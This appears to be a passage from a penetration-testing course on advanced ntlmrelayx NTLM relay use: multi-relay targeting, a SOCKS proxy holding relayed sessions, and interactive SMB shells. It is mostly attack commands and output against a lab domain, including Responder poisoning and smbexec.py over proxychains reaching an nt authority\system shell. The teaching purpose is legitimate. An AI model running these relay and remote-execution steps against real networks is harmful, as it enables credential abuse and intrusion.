NTLMRelayx Use Cases
In the previous section, we saw basic ntlmrelayx use cases such as dumping the SAM of a remote machine and gaining remote code execution. This section will showcase other advanced use cases of ntlmrelayx.
Multi-relaying
As explained by impacket's main maintainer @0xdeaddood in SecureAuth's blog, the multi-relay feature of ntlmrelayx allows for:
- Identifying the users we receive
NTLMauthentication from (allowing us to decide whether we want to relay theirNTLMauthentication). - Relaying a single
NTLMauthentication (connection) to multiple targets.
ntlmrelayx implements the multi-relay feature by making the clients authenticate on the attack machine locally, fetch/extract their identities, and then force them to reauthenticate so that it can relay their connections to the relay targets. Multi-relaying is the default behavior for the HTTP and SMB servers of ntlmrelayx; however, to deactivate it, we can use the --no-multirelay option, making it relay the connection(s) only once (i.e., one incoming connection maps to only one attack).
Target Definition
We already mentioned that ntlmrelayx provides the options -t and -tf for specifying relay targets. Because of the multi-relay feature, targets can be either named targets or general targets; named targets are targets with their identity specified, while general targets are targets without identity. Defining targets follows the URI format, with its syntax consisting of three components: scheme://authority/path:
scheme: Defines the targeted protocol (e.g.,httporldap); if not supplied,smbis used as the default protocol. The wildcard keywordallmakesntlmrelayxuse all the protocols it supports.authority: Specified using the formatDOMAIN_NAME\\USERNAME@HOST:PORT.General targetsdo not useDOMAIN_NAME\\USERNAME; onlynamed targetsdo.path: Optional and only required for specific attacks, such as when accessing access-restricted web endpoints using a relayedHTTP NTLMauthentication (as we will cover in theAdvanced NTLM Relay Attacks Targeting AD CSsection).
The HTTP and SMB servers of ntlmrelyax have the multi-relaying feature enabled by default, except when attacking a single general target. Depending on the target type, ntlmrelayx has the following default settings for the multi-relay feature:
| Target Type | Example | Multi-relaying Default Status |
|---|---|---|
Single General Target |
-t 172.16.117.50 |
Disabled |
Single Named Target |
-t smb://INLANEFREIGHT\\PETER@172.16.117.50 |
Enabled |
Multiple Targets |
-tf relayTargets.txt |
Enabled |
Understanding the multi-relay feature and the different target types of ntlmrelayx is paramount; let us see why by showing examples of different target types and their default multi-relaying status.
Suppose we instruct ntlmrelayx to use the target "smb://172.16.117.50"; in this case, since it is a general target, multi-relay will be disabled, and ntlmrelayx will relay only the first NTLM authentication connection belonging to any user (from any host) to the relay target 172.16.117.50 over SMB. This relationship is 1:1, as one connection maps to only one attack (an edge case is whereby ntlmrelayx receives two different connections at the same time; although multi-relay will be disabled, ntlmrelayx incorrectly relays the two connections instead of rejecting either of them):
ntlmrelayx.py -t smb://172.16.117.50
Alternatively, suppose we instruct ntlmrelayx to use the target "smb://INLANEFREIGHT\\PETER@172.16.117.50"; in this case, since it is a single named target, multi-relay will be enabled, and ntlmrelayx will relay any number of NTLM authentication connections belonging to INLANEFREIGHT\PETER (from any host) to the relay target 172.16.117.50 over SMB (we must supply the domain name and username precisely as shown in ntlmrelayx's output). This relationship is M:M, as many connections map to many attacks:
ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50
What if we want to use the same general target "smb://172.16.117.50" but we also want to enable multi-relaying? To do so, we must put the target in a file and use the -tf option, which enables multi-relaying by default. Therefore, regardless of the file containing a general target, because multi-relaying is enabled due to the -tf option, ntlmrelayx will relay any number of NTLM authentication connections belonging to any user (from any host) to the relay target 172.16.117.50 over SMB. Instead of having a 1:1 relationship like general targets, this becomes M:M, as many connections map to many attacks:
$ cat relayTarget.txt
smb://172.16.117.50
ntlmrelayx.py -tf relayTarget.txt
At last, suppose we want use the same named target "smb://INLANEFREIGHT\\PETER@172.16.117.50", but only want to abuse the first connection ntlmrelayx can relay for the user INLANEFREIGHT\PETER; to do so, we can disable multi-relay with the --no-multirelay option:
Use Cases
ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50 --no-multirelay
Note: Throughout this module, we will assume that services are running on their default ports. However, always remember that system administrators can change these default ports, so if we come against such cases after enumerating the network, we need to change the ports of services accordingly.
SOCKs Connections
Another great option of ntlmrelayx is -socks; whenever ntlmrelayx starts, it launches a SOCKS proxy that we can use to hold relayed authenticated sessions and keep them active, allowing us to abuse them with any tool. For example, if we have multiple targets with the option -tf, we can use -socks and keep as many connections active as possible. Let's see this in action.
First, we run ntlmrelayx with the -socks option (we are still targeting the SMB protocol):
$ sudo ntlmrelayx.py -tf relayTargets.txt -smb2support -socks
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
* Debug mode: off
Then, we will use Responder to poison the network:
Executing Responder in Poisoning Mode
$ sudo python3 Responder.py -I ens192
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
<SNIP>
After running Responder and making it poison broadcast traffic, we will notice that ntlmrelayx relays the NTLM authentication of multiple users originating from different IPs and establishes authenticated sessions on 172.16.117.50 and 172.16.117.60, adding them to its SOCKS server:
$ sudo ntlmrelayx.py -tf relayTargets.txt -smb2support -socks
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
* Debug mode: off
[*] SMBD-Thread-9: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/RMONTY SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/RMONTY@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-9: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/RMONTY SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/RMONTY@172.16.117.60(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-9: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, but there are no more targets left!
[*] SMBD-Thread-10: Connection from INLANEFREIGHT/PETER@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/PETER SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/PETER@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-10: Connection from INLANEFREIGHT/PETER@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/PETER SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/PETER@172.16.117.60(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-10: Connection from INLANEFREIGHT/PETER@172.16.117.3 controlled, but there are no more targets left!
[*] SMBD-Thread-11: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/NPORTS SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/NPORTS@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-11: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/NPORTS@172.16.117.60(445) to active SOCKS connection. Enjoy
The -socks options enable a command-line interface within ntlmrelayx; the help command prints the available commands (you can continue typing interactive commands even if the debug messages keep printing):
ntlmrelayx> help
Documented commands (type help <topic>):
========================================
help socks
Undocumented commands:
======================
EOF exit finished_attacks startservers stopservers targets
The socks interactive command lists the active sessions:
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- ------------- -------------------- ----------- ----
SMB 172.16.117.50 INLANEFREIGHT/RMONTY FALSE 445
SMB 172.16.117.50 INLANEFREIGHT/PETER TRUE 445
SMB 172.16.117.50 INLANEFREIGHT/NPORTS FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/RMONTY FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/PETER FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/NPORTS FALSE 445
The option -socks makes ntlmrelayx act as a proxy, meaning that we can combine it with proxychains to use the sessions it holds. Only one authenticated session belonging to INLANEFREIGHT/PETER has administrative privileges on the relay target 172.16.117.50 (it has AdminStatus set to TRUE). We can tunnel any impacket tool via proxychains to abuse the authenticated session. However, first, we must set the proxychains configuration file to use ntlmrelayx's default proxy port, 1080, for SOCKS4/5. By default, the location of the proxychains configuration file on Linux is /etc/proxychains.conf:
$ cat /etc/proxychains4.conf | grep socks4
# proxy types: http, socks4, socks5
socks4 127.0.0.1 1080
Note: Depending on the proxychains version installed, the configuration filename can be /etc/proxychains4.conf or /etc/proxychains.conf.
We will use the administrative authenticated session of INLANEFREIGHT/PETER to get remote code execution on 172.16.117.50. We will tunnel smbexec.py via proxychains using the same domain name and username. We will use the -no-pass option to prevent smbexec.py from prompting us for a password because we will abuse the authenticated session established held by ntlmrelayx's SOCKS proxy (remember that we need to keep ntlmrelayx running to utilize the authenticated sessions available on the SOCKs server, otherwise if we close it, its SOCKS server also closes):
$ proxychains4 -q smbexec.py INLANEFREIGHT/PETER@172.16.117.50 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
However, when we do not have any administrative permissions on the target(s), when the AdminStatus is FALSE, we can still establish a session to connect to a shared folder or perform other nonadministrative tasks. For example, let's use the RMONTY account to connect to 172.16.117.50, list all shared folders, and connect to the Finance shared folder:
$ proxychains4 -q smbclient.py INLANEFREIGHT/RMONTY@172.16.117.50 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
Finance
IPC$
# use Finance
# ls
drw-rw-rw- 0 Mon Jul 31 13:25:51 2023 .
drw-rw-rw- 0 Mon Jul 31 13:25:51 2023 ..
-rw-rw-rw- 18 Mon Jul 17 20:07:49 2023 flag.txt
-rw-rw-rw- 22 Mon Jul 17 20:07:49 2023 report.txt
# exit
Although having access to shared folders might not seem very helpful, in the upcoming sections, we will learn about other techniques that we can chain with having access to shared folders to force clients to perform actions without their consent.
Interactive SMB Client Shells
Alternatively, we can use the --interactive/-i option to launch an SMB client shell for each ntlmrelayx established authenticated session. The SMB client shell will listen locally on a TCP port, and we can reach it with tools such as nc:
Using the Interactive Option
$ ntlmrelayx.py -tf relayTargets.txt -smb2support -i
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/RMONTY SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
[*] SMBD-Thread-5: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/RMONTY SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11001
[*] SMBD-Thread-8: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/NPORTS SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11002
[*] SMBD-Thread-8: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11003
<SNIP>
ntlmrelayx started interactive SMB client shells for each authenticated session on the relay targets; Each connection will open a port to the target machine. We need to search for these lines in the above output: [*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/RMONTY SUCCEED followed by [*] Started interactive SMB client shell via TCP on 127.0.0.1:11000. If we want to use RMONTY's session to 172.16.117.50, we need to connect to port 11000 on 127.0.0.1 using netcat:
Interactive Shell
$ nc -nv 127.0.0.1 11000
Connection to 127.0.0.1 11000 port [tcp/*] succeeded!
Type help for list of commands
# shares
ADMIN$
C$
Finance
IPC$